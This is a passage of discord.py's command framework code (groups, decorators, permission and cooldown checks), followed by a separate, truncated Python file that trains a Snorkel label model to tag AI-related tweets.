self.all_commands.pop(alias, None) # in the case of a CommandRegistrationError, an alias might conflict # with an already existing command. If this is the case, we want to # make sure the pre-existing command is not removed. if cmd is not None and cmd != command: self.all_commands[alias] = cmd return command def walk_commands(self) -> Generator[Command[CogT, Any, Any], None, None]: """An iterator that recursively walks through all commands and subcommands. .. versionchanged:: 1.4 Duplicates due to aliases are no longer returned Yields ------ Union[:class:`.Command`, :class:`.Group`] A command or group from the internal list of commands. """ for command in self.commands: yield command if isinstance(command, GroupMixin): yield from command.walk_commands() def get_command(self, name: str) -> Optional[Command[CogT, Any, Any]]: """Get a :class:`.Command` from the internal list of commands. This could also be used as a way to get aliases. The name could be fully qualified (e.g. ``'foo bar'``) will get the subcommand ``bar`` of the group command ``foo``. If a subcommand is not found then ``None`` is returned just as usual. Parameters ----------- name: :class:`str` The name of the command to get. Returns -------- Optional[:class:`Command`] The command that was requested. If not found, returns ``None``. """ # fast path, no space in name. if ' ' not in name: return self.all_commands.get(name) names = name.split() if not names: return None obj = self.all_commands.get(names[0]) if not isinstance(obj, GroupMixin): return obj for name in names[1:]: try: obj = obj.all_commands[name] # type: ignore except (AttributeError, KeyError): return None return obj @overload def command( self, name: str = ..., cls: Type[Command[CogT, P, T]] = ..., *args: Any, **kwargs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ], Command[CogT, P, T]]: ... @overload def command( self, name: str = ..., cls: Type[CommandT] = ..., *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], CommandT]: ... def command( self, name: str = MISSING, cls: Type[CommandT] = MISSING, *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], CommandT]: """A shortcut decorator that invokes :func:`.command` and adds it to the internal command list via :meth:`~.GroupMixin.add_command`. Returns -------- Callable[..., :class:`Command`] A decorator that converts the provided method into a Command, adds it to the bot, then returns it. """ def decorator(func: Callable[Concatenate[ContextT, P], Coro[Any]]) -> CommandT: kwargs.setdefault('parent', self) result = command(name=name, cls=cls, *args, **kwargs)(func) self.add_command(result) return result return decorator @overload def group( self, name: str = ..., cls: Type[Group[CogT, P, T]] = ..., *args: Any, **kwargs: Any, ) -> Callable[[ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]] ] ], Group[CogT, P, T]]: ... @overload def group( self, name: str = ..., cls: Type[GroupT] = ..., *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], GroupT]: ... def group( self, name: str = MISSING, cls: Type[GroupT] = MISSING, *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], GroupT]: """A shortcut decorator that invokes :func:`.group` and adds it to the internal command list via :meth:`~.GroupMixin.add_command`. Returns -------- Callable[..., :class:`Group`] A decorator that converts the provided method into a Group, adds it to the bot, then returns it. """ def decorator(func: Callable[Concatenate[ContextT, P], Coro[Any]]) -> GroupT: kwargs.setdefault('parent', self) result = group(name=name, cls=cls, *args, **kwargs)(func) self.add_command(result) return result return decorator class Group(GroupMixin[CogT], Command[CogT, P, T]): """A class that implements a grouping protocol for commands to be executed as subcommands. This class is a subclass of :class:`.Command` and thus all options valid in :class:`.Command` are valid in here as well. Attributes ----------- invoke_without_command: :class:`bool` Indicates if the group callback should begin parsing and invocation only if no subcommand was found. Useful for making it an error handling function to tell the user that no subcommand was found or to have different functionality in case no subcommand was found. If this is ``False``, then the group callback will always be invoked first. This means that the checks and the parsing dictated by its parameters will be executed. Defaults to ``False``. case_insensitive: :class:`bool` Indicates if the group's commands should be case insensitive. Defaults to ``False``. """ def __init__(self, *args: Any, **attrs: Any) -> None: self.invoke_without_command: bool = attrs.pop('invoke_without_command', False) super().__init__(*args, **attrs) def copy(self: GroupT) -> GroupT: """Creates a copy of this :class:`Group`. Returns -------- :class:`Group` A new instance of this group. """ ret = super().copy() for cmd in self.commands: ret.add_command(cmd.copy()) return ret # type: ignore async def invoke(self, ctx: Context) -> None: ctx.invoked_subcommand = None ctx.subcommand_passed = None early_invoke = not self.invoke_without_command if early_invoke: await self.prepare(ctx) view = ctx.view previous = view.index view.skip_ws() trigger = view.get_word() if trigger: ctx.subcommand_passed = trigger ctx.invoked_subcommand = self.all_commands.get(trigger, None) if early_invoke: injected = hooked_wrapped_callback(self, ctx, self.callback) await injected(*ctx.args, **ctx.kwargs) ctx.invoked_parents.append(ctx.invoked_with) # type: ignore if trigger and ctx.invoked_subcommand: ctx.invoked_with = trigger await ctx.invoked_subcommand.invoke(ctx) elif not early_invoke: # undo the trigger parsing view.index = previous view.previous = previous await super().invoke(ctx) async def reinvoke(self, ctx: Context, *, call_hooks: bool = False) -> None: ctx.invoked_subcommand = None early_invoke = not self.invoke_without_command if early_invoke: ctx.command = self await self._parse_arguments(ctx) if call_hooks: await self.call_before_hooks(ctx) view = ctx.view previous = view.index view.skip_ws() trigger = view.get_word() if trigger: ctx.subcommand_passed = trigger ctx.invoked_subcommand = self.all_commands.get(trigger, None) if early_invoke: try: await self.callback(*ctx.args, **ctx.kwargs) # type: ignore except: ctx.command_failed = True raise finally: if call_hooks: await self.call_after_hooks(ctx) ctx.invoked_parents.append(ctx.invoked_with) # type: ignore if trigger and ctx.invoked_subcommand: ctx.invoked_with = trigger await ctx.invoked_subcommand.reinvoke(ctx, call_hooks=call_hooks) elif not early_invoke: # undo the trigger parsing view.index = previous view.previous = previous await super().reinvoke(ctx, call_hooks=call_hooks) # Decorators @overload def command( name: str = ..., cls: Type[Command[CogT, P, T]] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ] , Command[CogT, P, T]]: ... @overload def command( name: str = ..., cls: Type[CommandT] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[Any]], Callable[Concatenate[ContextT, P], Coro[Any]], ] ] , CommandT]: ... def command( name: str = MISSING, cls: Type[CommandT] = MISSING, **attrs: Any ) -> Callable[ [ Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[T]], ] ] , Union[Command[CogT, P, T], CommandT]]: """A decorator that transforms a function into a :class:`.Command` or if called with :func:`.group`, :class:`.Group`. By default the ``help`` attribute is received automatically from the docstring of the function and is cleaned up with the use of ``inspect.cleandoc``. If the docstring is ``bytes``, then it is decoded into :class:`str` using utf-8 encoding. All checks added using the :func:`.check` & co. decorators are added into the function. There is no way to supply your own checks through this decorator. Parameters ----------- name: :class:`str` The name to create the command with. By default this uses the function name unchanged. cls The class to construct with. By default this is :class:`.Command`. You usually do not change this. attrs Keyword arguments to pass into the construction of the class denoted by ``cls``. Raises ------- TypeError If the function is not a coroutine or is already a command. """ if cls is MISSING: cls = Command # type: ignore def decorator(func: Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[Any]], ]) -> CommandT: if isinstance(func, Command): raise TypeError('Callback is already a command.') return cls(func, name=name, **attrs) return decorator @overload def group( name: str = ..., cls: Type[Group[CogT, P, T]] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ] , Group[CogT, P, T]]: ... @overload def group( name: str = ..., cls: Type[GroupT] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[Any]], Callable[Concatenate[ContextT, P], Coro[Any]], ] ] , GroupT]: ... def group( name: str = MISSING, cls: Type[GroupT] = MISSING, **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[T]], ] ] , Union[Group[CogT, P, T], GroupT]]: """A decorator that transforms a function into a :class:`.Group`. This is similar to the :func:`.command` decorator but the ``cls`` parameter is set to :class:`Group` by default. .. versionchanged:: 1.1 The ``cls`` parameter can now be passed. """ if cls is MISSING: cls = Group # type: ignore return command(name=name, cls=cls, **attrs) # type: ignore def check(predicate: Check) -> Callable[[T], T]: r"""A decorator that adds a check to the :class:`.Command` or its subclasses. These checks could be accessed via :attr:`.Command.checks`. These checks should be predicates that take in a single parameter taking a :class:`.Context`. If the check returns a ``False``\-like value then during invocation a :exc:`.CheckFailure` exception is raised and sent to the :func:`.on_command_error` event. If an exception should be thrown in the predicate then it should be a subclass of :exc:`.CommandError`. Any exception not subclassed from it will be propagated while those subclassed will be sent to :func:`.on_command_error`. A special attribute named ``predicate`` is bound to the value returned by this decorator to retrieve the predicate passed to the decorator. This allows the following introspection and chaining to be done: .. code-block:: python3 def owner_or_permissions(**perms): original = commands.has_permissions(**perms).predicate async def extended_check(ctx): if ctx.guild is None: return False return ctx.guild.owner_id == ctx.author.id or await original(ctx) return commands.check(extended_check) .. note:: The function returned by ``predicate`` is **always** a coroutine, even if the original function was not a coroutine. .. versionchanged:: 1.3 The ``predicate`` attribute was added. Examples --------- Creating a basic check to see if the command invoker is you. .. code-block:: python3 def check_if_it_is_me(ctx): return ctx.message.author.id == 85309593344815104 @bot.command() @commands.check(check_if_it_is_me) async def only_for_me(ctx): await ctx.send('I know you!') Transforming common checks into its own decorator: .. code-block:: python3 def is_me(): def predicate(ctx): return ctx.message.author.id == 85309593344815104 return commands.check(predicate) @bot.command() @is_me() async def only_me(ctx): await ctx.send('Only you!') Parameters ----------- predicate: Callable[[:class:`Context`], :class:`bool`] The predicate to check if the command should be invoked. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.checks.append(predicate) else: if not hasattr(func, '__commands_checks__'): func.__commands_checks__ = [] func.__commands_checks__.append(predicate) return func if inspect.iscoroutinefunction(predicate): decorator.predicate = predicate else: @functools.wraps(predicate) async def wrapper(ctx): return predicate(ctx) # type: ignore decorator.predicate = wrapper return decorator # type: ignore def check_any(*checks: Check) -> Callable[[T], T]: r"""A :func:`check` that is added that checks if any of the checks passed will pass, i.e. using logical OR. If all checks fail then :exc:`.CheckAnyFailure` is raised to signal the failure. It inherits from :exc:`.CheckFailure`. .. note:: The ``predicate`` attribute for this function **is** a coroutine. .. versionadded:: 1.3 Parameters ------------ \*checks: Callable[[:class:`Context`], :class:`bool`] An argument list of checks that have been decorated with the :func:`check` decorator. Raises ------- TypeError A check passed has not been decorated with the :func:`check` decorator. Examples --------- Creating a basic check to see if it's the bot owner or the server owner: .. code-block:: python3 def is_guild_owner(): def predicate(ctx): return ctx.guild is not None and ctx.guild.owner_id == ctx.author.id return commands.check(predicate) @bot.command() @commands.check_any(commands.is_owner(), is_guild_owner()) async def only_for_owners(ctx): await ctx.send('Hello mister owner!') """ unwrapped = [] for wrapped in checks: try: pred = wrapped.predicate except AttributeError: raise TypeError(f'{wrapped!r} must be wrapped by commands.check decorator') from None else: unwrapped.append(pred) async def predicate(ctx: Context) -> bool: errors = [] for func in unwrapped: try: value = await func(ctx) except CheckFailure as e: errors.append(e) else: if value: return True # if we're here, all checks failed raise CheckAnyFailure(unwrapped, errors) return check(predicate) def has_role(item: Union[int, str]) -> Callable[[T], T]: """A :func:`.check` that is added that checks if the member invoking the command has the role specified via the name or ID specified. If a string is specified, you must give the exact name of the role, including caps and spelling. If an integer is specified, you must give the exact snowflake ID of the role. If the message is invoked in a private message context then the check will return ``False``. This check raises one of two special exceptions, :exc:`.MissingRole` if the user is missing a role, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.MissingRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` Parameters ----------- item: Union[:class:`int`, :class:`str`] The name or ID of the role to check. """ def predicate(ctx: Context) -> bool: if ctx.guild is None: raise NoPrivateMessage() # ctx.guild is None doesn't narrow ctx.author to Member if isinstance(item, int): role = discord.utils.get(ctx.author.roles, id=item) # type: ignore else: role = discord.utils.get(ctx.author.roles, name=item) # type: ignore if role is None: raise MissingRole(item) return True return check(predicate) def has_any_role(*items: Union[int, str]) -> Callable[[T], T]: r"""A :func:`.check` that is added that checks if the member invoking the command has **any** of the roles specified. This means that if they have one out of the three roles specified, then this check will return `True`. Similar to :func:`.has_role`\, the names or IDs passed in must be exact. This check raises one of two special exceptions, :exc:`.MissingAnyRole` if the user is missing all roles, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.MissingAnyRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` Parameters ----------- items: List[Union[:class:`str`, :class:`int`]] An argument list of names or IDs to check that the member has roles wise. Example -------- .. code-block:: python3 @bot.command() @commands.has_any_role('Library Devs', 'Moderators', 492212595072434186) async def cool(ctx): await ctx.send('You are cool indeed') """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() # ctx.guild is None doesn't narrow ctx.author to Member getter = functools.partial(discord.utils.get, ctx.author.roles) # type: ignore if any(getter(id=item) is not None if isinstance(item, int) else getter(name=item) is not None for item in items): return True raise MissingAnyRole(list(items)) return check(predicate) def bot_has_role(item: int) -> Callable[[T], T]: """Similar to :func:`.has_role` except checks if the bot itself has the role. This check raises one of two special exceptions, :exc:`.BotMissingRole` if the bot is missing the role, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.BotMissingRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() me = ctx.me if isinstance(item, int): role = discord.utils.get(me.roles, id=item) else: role = discord.utils.get(me.roles, name=item) if role is None: raise BotMissingRole(item) return True return check(predicate) def bot_has_any_role(*items: int) -> Callable[[T], T]: """Similar to :func:`.has_any_role` except checks if the bot itself has any of the roles listed. This check raises one of two special exceptions, :exc:`.BotMissingAnyRole` if the bot is missing all roles, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.BotMissingAnyRole` or :exc:`.NoPrivateMessage` instead of generic checkfailure """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() me = ctx.me getter = functools.partial(discord.utils.get, me.roles) if any(getter(id=item) is not None if isinstance(item, int) else getter(name=item) is not None for item in items): return True raise BotMissingAnyRole(list(items)) return check(predicate) def has_permissions(**perms: bool) -> Callable[[T], T]: """A :func:`.check` that is added that checks if the member has all of the permissions necessary. Note that this check operates on the current channel permissions, not the guild wide permissions. The permissions passed in must be exactly like the properties shown under :class:`.discord.Permissions`. This check raises a special exception, :exc:`.MissingPermissions` that is inherited from :exc:`.CheckFailure`. Parameters ------------ perms An argument list of permissions to check for. Example --------- .. code-block:: python3 @bot.command() @commands.has_permissions(manage_messages=True) async def test(ctx): await ctx.send('You can manage messages.') """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {', '.join(invalid)}") def predicate(ctx: Context) -> bool: ch = ctx.channel permissions = ch.permissions_for(ctx.author) # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise MissingPermissions(missing) return check(predicate) def bot_has_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_permissions` except checks if the bot itself has the permissions listed. This check raises a special exception, :exc:`.BotMissingPermissions` that is inherited from :exc:`.CheckFailure`. """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {', '.join(invalid)}") def predicate(ctx: Context) -> bool: guild = ctx.guild me = guild.me if guild is not None else ctx.bot.user permissions = ctx.channel.permissions_for(me) # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise BotMissingPermissions(missing) return check(predicate) def has_guild_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_permissions`, but operates on guild wide permissions instead of the current channel permissions. If this check is called in a DM context, it will raise an exception, :exc:`.NoPrivateMessage`. .. versionadded:: 1.3 """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {', '.join(invalid)}") def predicate(ctx: Context) -> bool: if not ctx.guild: raise NoPrivateMessage permissions = ctx.author.guild_permissions # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise MissingPermissions(missing) return check(predicate) def bot_has_guild_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_guild_permissions`, but checks the bot members guild permissions. .. versionadded:: 1.3 """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {', '.join(invalid)}") def predicate(ctx: Context) -> bool: if not ctx.guild: raise NoPrivateMessage permissions = ctx.me.guild_permissions # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise BotMissingPermissions(missing) return check(predicate) def dm_only() -> Callable[[T], T]: """A :func:`.check` that indicates this command must only be used in a DM context. Only private messages are allowed when using the command. This check raises a special exception, :exc:`.PrivateMessageOnly` that is inherited from :exc:`.CheckFailure`. .. versionadded:: 1.1 """ def predicate(ctx: Context) -> bool: if ctx.guild is not None: raise PrivateMessageOnly() return True return check(predicate) def guild_only() -> Callable[[T], T]: """A :func:`.check` that indicates this command must only be used in a guild context only. Basically, no private messages are allowed when using the command. This check raises a special exception, :exc:`.NoPrivateMessage` that is inherited from :exc:`.CheckFailure`. """ def predicate(ctx: Context) -> bool: if ctx.guild is None: raise NoPrivateMessage() return True return check(predicate) def is_owner() -> Callable[[T], T]: """A :func:`.check` that checks if the person invoking this command is the owner of the bot. This is powered by :meth:`.Bot.is_owner`. This check raises a special exception, :exc:`.NotOwner` that is derived from :exc:`.CheckFailure`. """ async def predicate(ctx: Context) -> bool: if not await ctx.bot.is_owner(ctx.author): raise NotOwner('You do not own this bot.') return True return check(predicate) def is_nsfw() -> Callable[[T], T]: """A :func:`.check` that checks if the channel is a NSFW channel. This check raises a special exception, :exc:`.NSFWChannelRequired` that is derived from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.NSFWChannelRequired` instead of generic :exc:`.CheckFailure`. DM channels will also now pass this check. """ def pred(ctx: Context) -> bool: ch = ctx.channel if ctx.guild is None or (isinstance(ch, (discord.TextChannel, discord.Thread)) and ch.is_nsfw()): return True raise NSFWChannelRequired(ch) # type: ignore return check(pred) def cooldown(rate: int, per: float, type: Union[BucketType, Callable[[Message], Any]] = BucketType.default) -> Callable[ [T], T]: """A decorator that adds a cooldown to a :class:`.Command` A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of ``type`` which must be of enum type :class:`.BucketType`. If a cooldown is triggered, then :exc:`.CommandOnCooldown` is triggered in :func:`.on_command_error` and the local error handler. A command can only have a single cooldown. Parameters ------------ rate: :class:`int` The number of times a command can be used before triggering a cooldown. per: :class:`float` The amount of seconds to wait for a cooldown when it's been triggered. type: Union[:class:`.BucketType`, Callable[[:class:`.Message`], Any]] The type of cooldown to have. If callable, should return a key for the mapping. .. versionchanged:: 1.7 Callables are now supported for custom bucket types. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func._buckets = CooldownMapping(Cooldown(rate, per), type) else: func.__commands_cooldown__ = CooldownMapping(Cooldown(rate, per), type) return func return decorator # type: ignore def dynamic_cooldown(cooldown: Union[BucketType, Callable[[Message], Any]], type: BucketType = BucketType.default) -> \ Callable[[T], T]: """A decorator that adds a dynamic cooldown to a :class:`.Command` This differs from :func:`.cooldown` in that it takes a function that accepts a single parameter of type :class:`.discord.Message` and must return a :class:`.Cooldown` or ``None``. If ``None`` is returned then that cooldown is effectively bypassed. A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of ``type`` which must be of enum type :class:`.BucketType`. If a cooldown is triggered, then :exc:`.CommandOnCooldown` is triggered in :func:`.on_command_error` and the local error handler. A command can only have a single cooldown. .. versionadded:: 2.0 Parameters ------------ cooldown: Callable[[:class:`.discord.Message`], Optional[:class:`.Cooldown`]] A function that takes a message and returns a cooldown that will apply to this invocation or ``None`` if the cooldown should be bypassed. type: :class:`.BucketType` The type of cooldown to have. """ if not callable(cooldown): raise TypeError("A callable must be provided") def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func._buckets = DynamicCooldownMapping(cooldown, type) else: func.__commands_cooldown__ = DynamicCooldownMapping(cooldown, type) return func return decorator # type: ignore def max_concurrency(number: int, per: BucketType = BucketType.default, *, wait: bool = False) -> Callable[[T], T]: """A decorator that adds a maximum concurrency to a :class:`.Command` or its subclasses. This enables you to only allow a certain number of command invocations at the same time, for example if a command takes too long or if only one user can use it at a time. This differs from a cooldown in that there is no set waiting period or token bucket -- only a set number of people can run the command. .. versionadded:: 1.3 Parameters ------------- number: :class:`int` The maximum number of invocations of this command that can be running at the same time. per: :class:`.BucketType` The bucket that this concurrency is based on, e.g. ``BucketType.guild`` would allow it to be used up to ``number`` times per guild. wait: :class:`bool` Whether the command should wait for the queue to be over. If this is set to ``False`` then instead of waiting until the command can run again, the command raises :exc:`.MaxConcurrencyReached` to its error handler. If this is set to ``True`` then the command waits until it can be executed. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: value = MaxConcurrency(number, per=per, wait=wait) if isinstance(func, Command): func._max_concurrency = value else: func.__commands_max_concurrency__ = value return func return decorator # type: ignore def before_invoke(coro) -> Callable[[T], T]: """A decorator that registers a coroutine as a pre-invoke hook. This allows you to refer to one before invoke hook for several commands that do not have to be within the same cog. .. versionadded:: 1.4 Example --------- .. code-block:: python3 async def record_usage(ctx): print(ctx.author, 'used', ctx.command, 'at', ctx.message.created_at) @bot.command() @commands.before_invoke(record_usage) async def who(ctx): # Output: <User> used who at <Time> await ctx.send('i am a bot') class What(commands.Cog): @commands.before_invoke(record_usage) @commands.command() async def when(self, ctx): # Output: <User> used when at <Time> await ctx.send(f'and i have existed since {ctx.bot.user.created_at}') @commands.command() async def where(self, ctx): # Output: <Nothing> await ctx.send('on Discord') @commands.command() async def why(self, ctx): # Output: <Nothing> await ctx.send('because someone made me') bot.add_cog(What()) """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.before_invoke(coro) else: func.__before_invoke__ = coro return func return decorator # type: ignore def after_invoke(coro) -> Callable[[T], T]: """A decorator that registers a coroutine as a post-invoke hook. This allows you to refer to one after invoke hook for several commands that do not have to be within the same cog. .. versionadded:: 1.4 """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.after_invoke(coro) else: func.__after_invoke__ = coro return func return decorator # type: ignore
#!/usr/bin/env python __author__ = "Mageswaran Dhandapani" __copyright__ = "Copyright 2020, The Spark Structured Playground Project" __credits__ = [] __license__ = "Apache License" __version__ = "2.0" __maintainer__ = "Mageswaran Dhandapani" __email__ = "mageswaran1989@gmail.com" __status__ = "Education Purpose" import pandas as pd import gin from sklearn.base import BaseEstimator, TransformerMixin import nltk from snorkel.labeling import labeling_function from snorkel.labeling import LFApplier from snorkel.labeling import LFAnalysis from snorkel.labeling import LabelModel from ssp.logger.pretty_print import print_error from ssp.logger.pretty_print import print_info from ssp.posgress.dataset_base import PostgresqlDatasetBase from ssp.utils.ai_key_words import AIKeyWords class SSPTweetLabeller(BaseEstimator, TransformerMixin): """ Snorkel Transformer uses LFs to train a Label Model, that can annotate AI text and non AI text :param input_col: Name of the input text column if Dataframe is used :param output_col: Name of the ouput label column if Dataframe is used """ # Set voting values. # all other tweets ABSTAIN = -1 # tweets that talks about science, AI, data POSITIVE = 1 # tweets that are not NEGATIVE = 0 def __init__(self, input_col="text", output_col="slabel"): # LFs needs to be static or normal function self._labelling_functions = [self.is_ai_tweet, self.is_not_ai_tweet, self.not_data_science, self.not_neural_network, self.not_big_data, self.not_nlp, self.not_ai, self.not_cv] self._input_col = input_col self._output_col = output_col self._list_applier = LFApplier(lfs=self._labelling_functions) self._label_model = LabelModel(cardinality=2, verbose=True) def fit(self, X, y=None): """ :param X: (Dataframe) / (List) Input text :param y: None :return: Numpy Array [num of samples, num of LF functions] """ if isinstance(X, str): X = [X] if isinstance(X, pd.DataFrame): text_list = X[self._input_col] X_labels = self._list_applier.apply(text_list) print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print_info("Training LabelModel") self._label_model.fit(L_train=X_labels, n_epochs=500, log_freq=100, seed=42) elif isinstance(X, list): X_labels = self._list_applier.apply(X) print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print_info("Training LabelModel") self._label_model.fit(L_train=X_labels, n_epochs=500, log_freq=100, seed=42) else: raise RuntimeError("Unknown type...") return self def normalize_prob(self, res): return [1 if r > 0.5 else 0 for r in res] def transform(self, X, y=None): if isinstance(X, pd.DataFrame): if self._input_col: res = self.predict(X[self._input_col])[:, 1] X[self._output_col] = self.normalize_prob(res) return X elif isinstance(X, list): res = self.predict(X)[:, 1] return self.normalize_prob(res) elif isinstance(X, str): res = self.predict([X])[:, 1] return self.normalize_prob(res)[0] def predict(self, X): return self._label_model.predict_proba(L=self._list_applier.apply(X)) def evaluate(self, X, y): if isinstance(X, list): X_labels = self._list_applier.apply(X) label_model_acc = self._label_model.score(L=X_labels, Y=y, tie_break_policy="random")[ "accuracy" ] print_info(LFAnalysis(L=X_labels, lfs=self._labelling_functions).lf_summary()) print(f"{"Label Model Accuracy:":<25} {label_model_acc * 100:.1f}%") elif isinstance(X, pd.DataFrame): text_list = X[self._input_col] X_labels = self._list_applier.apply(text_list) label_model_acc = self._label_model.score(L=X_labels, Y=y, tie_break_policy="random")[ "accuracy" ] print(f"{"Label Model Accuracy:":<25} {label_model_acc * 100:.1f}%") else: raise RuntimeError("Unknown type...") @staticmethod def positive_search(data, key_words): data = data.replace("#", "").replace("@", "") for keyword in key_words: if f' {keyword.lower()} ' in f' {data.lower()} ': return SSPTweetLabeller.POSITIVE return SSPTweetLabeller.ABSTAIN @staticmethod def negative_search(data, positive_keywords, false_positive_keywords): data = data.replace("#", "").replace("@", "") positive = False false_positive = False for keyword in positive_keywords: if f' {keyword.lower()} ' in f' {data.lower()} ': positive = True for keyword in false_positive_keywords: if f' {keyword.lower()} ' in f' {data.lower()} ': false_positive = True if false_positive and not positive: # print_info(data) return SSPTweetLabeller.NEGATIVE return SSPTweetLabeller.ABSTAIN @staticmethod def bigram_check(x, word1, word2): # Get bigrams and check tuple exists or not bigrm = list(nltk.bigrams(x.split())) bigrm = list(map(' '.join, bigrm)) count = 0 for pair in bigrm: if word1 in pair and word2 not in pair: count += 1 if count > 0: return SSPTweetLabeller.NEGATIVE else: return SSPTweetLabeller.ABSTAIN @staticmethod @labeling_function() def is_ai_tweet(x): return SSPTweetLabeller.positive_search(x, AIKeyWords.POSITIVE.split("|")) @staticmethod @labeling_function() def is_not_ai_tweet(x): return SSPTweetLabeller.negative_search(data=x, positive_keywords=AIKeyWords.POSITIVE.split("|"), false_positive_keywords=AIKeyWords.FALSE_POSITIVE.split("|")) @staticmethod @labeling_function() def not_data_science(x): return SSPTweetLabeller.bigram_check(x, "data", "science") @staticmethod @labeling_function() def not_neural_network(x): return SSPTweetLabeller.bigram_check(x, "neural", "network") @staticmethod @labeling_function() def not_big_data(x): return SSPTweetLabeller.bigram_check(x, "big", "data") @staticmethod @labeling_function() def not_nlp(x): return SSPTweetLabeller.bigram_check(x, "natural", "language") @staticmethod @labeling_function() def not_ai(x): return SSPTweetLabeller.bigram_check(x, "artificial", "intelligence") @staticmethod @labeling_function() def not_cv(x): return SSPTweetLabeller.bigram_check(x, "computer", "vision") @gin.configurable class SSPLabelEvaluator(PostgresqlDatasetBase): def __init__(self, text_column="text", label_column="label", raw_tweet_table_name_prefix="raw_tweet_dataset", postgresql_host="localhost", postgresql_port="5432", postgresql_database="sparkstreamingdb", postgresql_user="sparkstreaming", postgresql_password="sparkstreaming"): PostgresqlDatasetBase.__init__(self, text_column=text_column, label_output_column=label_column, raw_tweet_table_name_prefix=raw_tweet_table_name_prefix, postgresql_host=postgresql_host, postgresql_port=postgresql_port, postgresql_database=postgresql_database, postgresql_user=postgresql_user, postgresql_password=postgresql_password) self._snorkel_labeler = SSPTweetLabeller() def run_labeler(self, version=0): raw_tweet_dataset_df_deduplicated, test_df, dev_df, \ snorkel_train_df, train_df = self.get_processed_datasets(version=version) self._snorkel_labeler.fit(snorkel_train_df) self._snorkel_labeler.evaluate(test_df, test_df[self._label_output_column]) # snorkel_train_df["label"] = snorkel_train_df["text"].apply(lambda x: SSPTweetLabeller.is_ai_tweet(x)) # print_info(snorkel_train_df["label"].value_counts()) # print_error(snorkel_train_df[snorkel_train_df["label"]==0]["text"].tolist()[:10]) # print_info(snorkel_train_df[snorkel_train_df["label"]==1]["text"].tolist()[:10]) # res = self._snorkel_labeler.predict(train_df[self._text_column]) # res = res[:, 1] # res = [1 if r >= 0.5 else 0 for r in res] # print_error(train_df.shape[0]) # print_info(sum(res)) # train_df["snorkel_label"] = res # for label, group in train_df[["text", "snorkel_label"]].groupby("snorkel_label"): # if label == 1: # print(label) # print_info(group.shape[0]) # group.reset_index(inplace=True) # # print_info("\n".join(group["text"].tolist()[:10])) # group["label"] = 